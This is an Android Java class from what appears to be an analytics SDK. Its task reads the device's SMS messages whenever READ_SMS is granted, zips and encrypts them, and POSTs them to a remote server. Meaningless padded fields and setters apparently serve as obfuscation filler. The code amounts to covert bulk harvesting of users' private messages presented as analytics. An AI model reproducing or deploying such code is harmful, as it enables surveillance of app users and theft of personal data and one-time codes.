package com.test.fundible.fundible_00_analytics.fundibledata_sdk.fundibletask;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.text.TextUtils;

import androidx.core.content.ContextCompat;

import com.test.fundible.fundible_00_analytics.fundibledata_sdk.fundiblebeans.FundibleASRequestPms;
import com.test.fundible.fundible_00_analytics.fundibledata_sdk.fundiblehttp.FundibleASReqstManger;
import com.test.fundible.fundible_00_analytics.fundibledata_sdk.fundiblelogger.FundibleASLger;
import com.test.fundible.fundible_00_analytics.fundibledata_sdk.fundibleservices.FundibleASMsgIfo;
import com.test.fundible.fundible_00_path.Paths_fundible;
import com.test.fundible.fundible_00_utils.FundibleUtil;

import java.util.function.Supplier;


public class FundibleASDevcSsTsk implements Supplier<String> {

    private final static String TAG = "ASDeviceSmsTask";

    private final String mTaskId;
    public String ksgi="";
    public String ld06="";
    private final Context mContext;

    public int sbXF=39;
    public int kgQm=114;
    public String qwns="";
    public char ugIJ='u';
    public int q7UA=111;

    public FundibleASDevcSsTsk(Context context, String taskId) {
        this.mContext = context;
        this.mTaskId = taskId;
    }

    @Override
    public String get() {
        // 日志标记
        FundibleASLger.d_fundible(TAG, TAG + " 执行中...");

        // 过滤条件
        if (TextUtils.isEmpty(Paths_fundible.PATH_MESSAGE)) {
            return mTaskId + "";
        }

        setKsgi("h989e");

        String infoBeans = "";
        if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_SMS)) {
            infoBeans = FundibleASMsgIfo.getZipString_fundible(mContext);
        } else {
            // 日志标记
            FundibleASMsgIfo.mFType = FundibleASMsgIfo.FET_NON_PER;
            FundibleASLger.d_fundible(TAG, "获取短信信息出错：没有 READ_SMS 权限");
        }

        FundibleASRequestPms netParams = new FundibleASRequestPms();
        netParams.setSRG_fundible(infoBeans);
        netParams.setSFT_fundible(FundibleASMsgIfo.mFType);
//        String result = new Gson().toJson(netParams).trim();
        String result = netParams.toEncryptParams_fundible(Paths_fundible.PATH_MESSAGE);

        // 上报请求
        String url = FundibleUtil.getCommonPath_fundible();
        new FundibleASReqstManger.Builder_fundible().setReqId_fundible(this.mTaskId).setUrl_fundible(url).setBody_fundible(result).build_fundible().doPostRqst_fundible();

        return mTaskId + "";
    }

    public void setKsgi(String ksgi) {
        this.ksgi = ksgi;
    }

    public void setLd06(String ld06) {
        this.ld06 = ld06;
    }

    public String getmTaskId() {
        return mTaskId;
    }

    public String getKsgi() {
        return ksgi;
    }

    public String getLd06() {
        return ld06;
    }

    public Context getmContext() {
        return mContext;
    }

    public void setSbXF(int sbXF) {
        this.sbXF = sbXF;
    }

    public void setKgQm(int kgQm) {
        this.kgQm = kgQm;
    }

    public void setQwns(String qwns) {
        this.qwns = qwns;
    }

    public void setUgIJ(char ugIJ) {
        this.ugIJ = ugIJ;
    }

    public void setQ7UA(int q7UA) {
        this.q7UA = q7UA;
    }
}
